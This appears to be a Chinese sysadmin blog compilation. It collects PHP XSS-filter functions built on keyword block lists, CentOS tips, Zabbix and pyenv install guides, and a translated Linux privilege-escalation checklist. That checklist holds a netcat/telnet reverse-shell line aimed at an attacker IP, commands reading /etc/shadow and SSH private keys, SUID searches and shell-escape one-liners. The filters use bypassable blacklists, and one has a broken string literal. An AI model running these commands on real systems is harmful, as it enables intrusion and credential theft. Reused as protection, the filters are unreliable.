流传的移除XSS攻击的php函数

The goal of this function is to be a generic function that can be used to parse almost any input and render it XSS safe. For more information on actual XSS attacks, check out http://ha.ckers.org/xss.html. Another excellent site is the XSS Database which details each attack and how it works.

<?php
/**
 * Usage: Run *every* variable passed in through it.
 * The goal of this function is to be a generic function that can be used to
 * parse almost any input and render it XSS safe. For more information on
 * actual XSS attacks, check out http://ha.ckers.org/xss.html. Another
 * excellent site is the XSS Database which details each attack and how it
 * works.
 *
 * Used with permission by the author.
 * URL: http://quickwired.com/smallprojects/php_xss_filter_function.php
 *
 * License:
 * This code is public domain, you are free to do whatever you want with it,
 * including adding it to your own project which can be under any license.
 *
 * $Id: RemoveXSS.php 2663 2007-11-05 09:22:23Z ingmars $
 *
 * @author	Travis Puderbaugh <kallahar@quickwired.com>
 * @package RemoveXSS
 */
class RemoveXSS {

	/**
	 * Wrapper for the RemoveXSS function.
	 * Removes potential XSS code from an input string.
	 *
	 * Using an external class by Travis Puderbaugh <kallahar@quickwired.com>
	 *
	 * @param	string		Input string
	 * @return	string		Input string with potential XSS code removed
	 */
	function RemoveXSS($val)	{
		// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
		// this prevents some character re-spacing such as <java\0script>
		// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
		$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

		// straight replacements, the user should never need these since they're normal characters
		// this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
		$search = 'abcdefghijklmnopqrstuvwxyz';
		$search.= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
		$search.= '1234567890!@#$%^&*()';
		$search.= '~`";:?+/={}[]-_|\'\\';

		for ($i = 0; $i < strlen($search); $i++) {
			// ;? matches the ;, which is optional
			// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

			// &#x0040 @ search for the hex values
			$val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
			// &#00064 @ 0{0,7} matches '0' zero to seven times
			$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
		}

		// now the only remaining whitespace attacks are \t, \n, and \r
		$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
		$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
		$ra = array_merge($ra1, $ra2);

		$found = true; // keep replacing as long as the previous round replaced something
		while ($found == true) {
			$val_before = $val;
			for ($i = 0; $i < sizeof($ra); $i++) {
				$pattern = '/';
				for ($j = 0; $j < strlen($ra[$i]); $j++) {
					if ($j > 0) {
						$pattern .= '(';
						$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
						$pattern .= '|(&#0{0,8}([9][10][13]);?)?';
						$pattern .= ')?';
					}
					$pattern .= $ra[$i][$j];
				}
				$pattern .= '/i';
				$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
				$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
				if ($val_before == $val) {
					// no replacements were made, so exit the loop
					$found = false;
				}
			}
		}

		return $val;
	}
}

?>

 

Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数

//屏蔽html
function checkhtml($html) {
	$html = stripslashes($html);
	if(!checkperm('allowhtml')) {

		preg_match_all("/<([^<]+)>/is", $html, $ms);

		$searchs[] = '<';
		$replaces[] = '<';
		$searchs[] = '>';
		$replaces[] = '>';

		if($ms[1]) {
			$allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br
						|p|b|strong|i|u|em|span|ol|ul|li|blockquote
						|object|param|embed';//允许的标签
			$ms[1] = array_unique($ms[1]);
			foreach ($ms[1] as $value) {
				$searchs[] = "<".$value.">";
				$value = shtmlspecialchars($value);
				$value = str_replace(array('\','/*'), array('.','/.'), $value);
				$skipkeys = array(
						'onabort','onactivate','onafterprint','onafterupdate',
						'onbeforeactivate','onbeforecopy','onbeforecut',
						'onbeforedeactivate','onbeforeeditfocus','onbeforepaste',
						'onbeforeprint','onbeforeunload','onbeforeupdate',
						'onblur','onbounce','oncellchange','onchange',
						'onclick','oncontextmenu','oncontrolselect',
						'oncopy','oncut','ondataavailable',
						'ondatasetchanged','ondatasetcomplete','ondblclick',
						'ondeactivate','ondrag','ondragend',
						'ondragenter','ondragleave','ondragover',
						'ondragstart','ondrop','onerror','onerrorupdate',
						'onfilterchange','onfinish','onfocus','onfocusin',
						'onfocusout','onhelp','onkeydown','onkeypress',
						'onkeyup','onlayoutcomplete','onload',
						'onlosecapture','onmousedown','onmouseenter',
						'onmouseleave','onmousemove','onmouseout',
						'onmouseover','onmouseup','onmousewheel',
						'onmove','onmoveend','onmovestart','onpaste',
						'onpropertychange','onreadystatechange','onreset',
						'onresize','onresizeend','onresizestart',
						'onrowenter','onrowexit','onrowsdelete',
						'onrowsinserted','onscroll','onselect',
						'onselectionchange','onselectstart','onstart',
						'onstop','onsubmit','onunload','javascript',
						'script','eval','behaviour','expression',
						'style','class'
					);
				$skipstr = implode('|', $skipkeys);
				$value = preg_replace(array("/($skipstr)/i"), '.', $value);
				if(!preg_match("/^[/|s]?($allowtags)(s+|$)/is", $value)) {
					$value = '';
				}
				$replaces[] = empty($value)?'':"<".str_replace('"', '"', $value).">";
			}
		}
		$html = str_replace($searchs, $replaces, $html);
	}
	$html = addslashes($html);

	return $html;
}

 

centos7没有ifconfig怎么看ip?

ip addr  #看网卡接口和ip

ip addr add 10.8.8.2.24 dev  网卡名  #临时加ip

centos7没有netstat怎么看网络连接?

ss -ano #看网络连接状态

ss -anl #看网络监听状态

centos7怎么看某个tcp端口是什么进程开的,这个进程的pid是多少?

lsof -i:22 #看tcp22端口

centos7用systemd替换了SysV没有service了改用systemctl后怎么看当前的服务项?

systemctl list-unit-files |grep enabled  #查看当前启用的服务。

systemctl disable 服务名称   #禁止某服务

 

centos7 怎么打开http  tcp 80端口?

firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --reload

 

(Linux)的提权是怎么一回事:

 收集 – 枚举,枚举和一些更多的枚举。
 过程 – 通过数据排序,分析和确定优先次序。
 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
 适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
 尝试 – 做好准备,试验和错误。

系统类型

系统是什么版本?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

它的内核版本是什么?

cat /proc/version  
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

它的环境变量里有些什么?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

是否有台打印机?

lpstat -a

应用与服务

正在运行什么服务?什么样的服务具有什么用户权限?

ps aux
ps -ef
top
cat /etc/service

哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!

ps aux | grep root
ps -ef | grep root

安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

主机上有哪些工作计划?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

主机上可能有哪些纯文本用户名和密码?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他用户主机与系统的通信?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

缓存?IP和/或MAC地址?

arp -e
route
/sbin/route -nee

数据包可能嗅探吗?可以看出什么?监听流量

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何get一个shell?你如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. 输入 (命令)
nc -lvp 4445    # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# rinetd

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

#mknod

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod

backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

建立隧道可能吗?本地,远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

秘密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

可以找到什么敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

ls -ahlR /root/
ls -ahlR /home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到什么样的用户信息

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

private-key 信息能否被发现?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null          # Other
find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /有什么可以发现?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#

auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,

mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)

如果命令限制,你可以打出哪些突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

如何安装文件系统?

mount
df -h

是否有挂载的文件系统?

cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders
find / -perm -o+x -type d 2>/dev/null    # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # world-writeable & executable folders
Any "problem" files?可写的的,“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

查找exploit代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找更多有关漏洞的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]

http://www.91ri.org/

(快速)“共同的“exploit,预编译二进制代码文件

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

上面的信息很难吗?

快去使用第三方脚本/工具来试试吧!

系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?

apt-get update && apt-get upgrade
yum update

服务运行所需的最低的权限?

例如,你需要以root身份运行MySQL?

能够从以下网站找到自动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

(快速)指南和链接

例如

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其他

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

文章中文来源: http://www.91ri.org/7459.html

英文原文:http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

 

#安装依赖库
yum -y install mysql-devel libcurl-devel net-snmp-devel Percona-Server-devel-55
#因为我的mysql使用的是percona55 所以这里需要装 Percona-Server-devel-55

#给zabbix在mysql中创建库和用户
create database zabbix character set utf8;
grant all privileges on zabbix.* to zabbix@localhost identified by 'zabbix';


#创建zabbix运行的独立用户
groupadd zabbix
useradd zabbix -g zabbix -s /sbin/nologin

#下载编译安装zabbix
wget -O zabbix.tar.gz -c "http://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/2.2.4/zabbix-2.2.4.tar.gz/download"

tar zxvf zabbix.tar.gz
cd zabbix-2.2.4/

./configure --prefix=/usr/local/zabbix --enable-server --enable-agent \
--with-mysql --with-net-snmp --with-libcurl
make install

##编译错误解决
#checking for mysql_config... /usr/bin/mysql_config
#checking for main in -lmysqlclient... no
#configure: error: Not found mysqlclient library
ln -s /usr/lib64/mysql/libmysqlclient.so.16.0.0 /usr/lib64/mysql/libmysqlclient.so
ln -s /usr/lib64/mysql/libmysqlclient_r.so.16.0.0 /usr/lib64/mysql/libmysqlclient_r.so
ln -s /usr/lib64/libmysqlclient.so.16.0.0 /usr/lib64/libmysqlclient.so
ln -s /usr/lib64/libmysqlclient_r.so.16.0.0 /usr/lib64/libmysqlclient_r.so

#导入zabbix的数据库
mysql -uzabbix -pzabbix -hlocalhost zabbix < database/mysql/schema.sql
mysql -uzabbix -pzabbix -hlocalhost zabbix < database/mysql/images.sql
mysql -uzabbix -pzabbix -hlocalhost zabbix < database/mysql/data.sql

#修改配置文件
cp misc/init.d/fedora/core/zabbix_server /etc/init.d/
cp misc/init.d/fedora/core/zabbix_agentd /etc/init.d/
cp -R frontends/php /data/wwwroot/zabbix  #复制web文件到网站目录,替换成你自己的
sed -i 's/^DBUser=.*$/DBUser=zabbix/g' /usr/local/zabbix/etc/zabbix_server.conf
sed -i 's/^.*DBPassword=.*$/DBPassword=zabbix/g' /usr/local/zabbix/etc/zabbix_server.conf
sed -i 's/BASEDIR=\/usr\/local/BASEDIR=\/usr\/local\/zabbix/g' /etc/init.d/zabbix_server
sed -i 's/BASEDIR=\/usr\/local/BASEDIR=\/usr\/local\/zabbix/g' /etc/init.d/zabbix_agentd

#增加服务端口<br>
cat >>/etc/services <<EOF
zabbix-agent 10050/tcp #Zabbix Agent
zabbix-agent 10050/udp #Zabbix Agent
zabbix-trapper 10051/tcp #Zabbix Trapper
zabbix-trapper 10051/udp #Zabbix Trapper
EOF

#启动服务
/etc/init.d/zabbix_server start
/etc/init.d/zabbix_agentd start
chkconfig zabbix_server on   #开机启动启动服务
#chkconfig zabbix_agentd on  #被控端
#echo "/etc/init.d/zabbix_server start" >> /etc/rc.local
#echo "/etc/init.d/zabbix_agentd start" >> /etc/rc.local

问题处理

zabbix_server  不能监听端口tcp  10051 ?

打开日志 cat /tmp/zabbix_server.log

1635:20140706:015834.413 [Z3001] connection to database ‘zabbix’ failed: [2002] Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2)
1635:20140706:015834.413 Database is down. Reconnecting in 10 seconds.

看来是mysql sock错误了。 找到 #DBSocket=/tmp/mysql.sock 去掉前面的#注释即可。

zabbix2.2.4 web中 语言没有中文可选?

1、服务器端找到 zabbix/include/ locales.inc.php 文件

2、修改 locales.inc.php内容为:’zh_CN’ => array(‘name’ => _(‘Chinese (zh_CN)’),        ‘display’ => true),

       默认是false,所以不显示Chinese(zh_CN)。保存退出。

使用pyenv管理安装Python多版本共存

安装pyenv

安装依赖库

yum -y install readline readline-devel readline-static openssl openssl-devel openssl-static sqlite-devel bzip2-devel bzip2-libs automake gcc git

git克隆安装pyenv

git clone git://github.com/yyuu/pyenv.git ~/.pyenv
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
exec $SHELL -l

安装Python

查看可安装的版本

pyenv install --list

 

安装指定版本

安装 python2.7.7 和 python3.4.1

pyenv install 2.7.7
pyenv install 3.4.1

 

更新数据库

安装完成之后需要对数据库进行更新:

 pyenv rehash

 

设置全局的python版本

pyenv global 2.7.7
pyenv versions
system
* 2.7.7 (set by /root/.pyenv/version)
3.4.1

 

当前全局的python版本已经变成了2.7.7。
也可以使用pyenv local或pyenv shell临时改变python版本。
使用 pyenv global system 切换为系统自带。

确认python版本

python
Python 2.7.7 (default, Jun 24 2014, 07:50:02) 
[GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

 

使用python

输入python即可使用新版本的python;
系统命令会以/usr/bin/python的方式直接调用老版本的python;
使用pip安装第三方模块时会安装到~/.pyenv/versions/2.7.7下,不会和系统模块发生冲突。

 

安装ipython

pip install readline ipython

 

主要参考斌爷的博客: http://opslinux.com/python_viode_1.html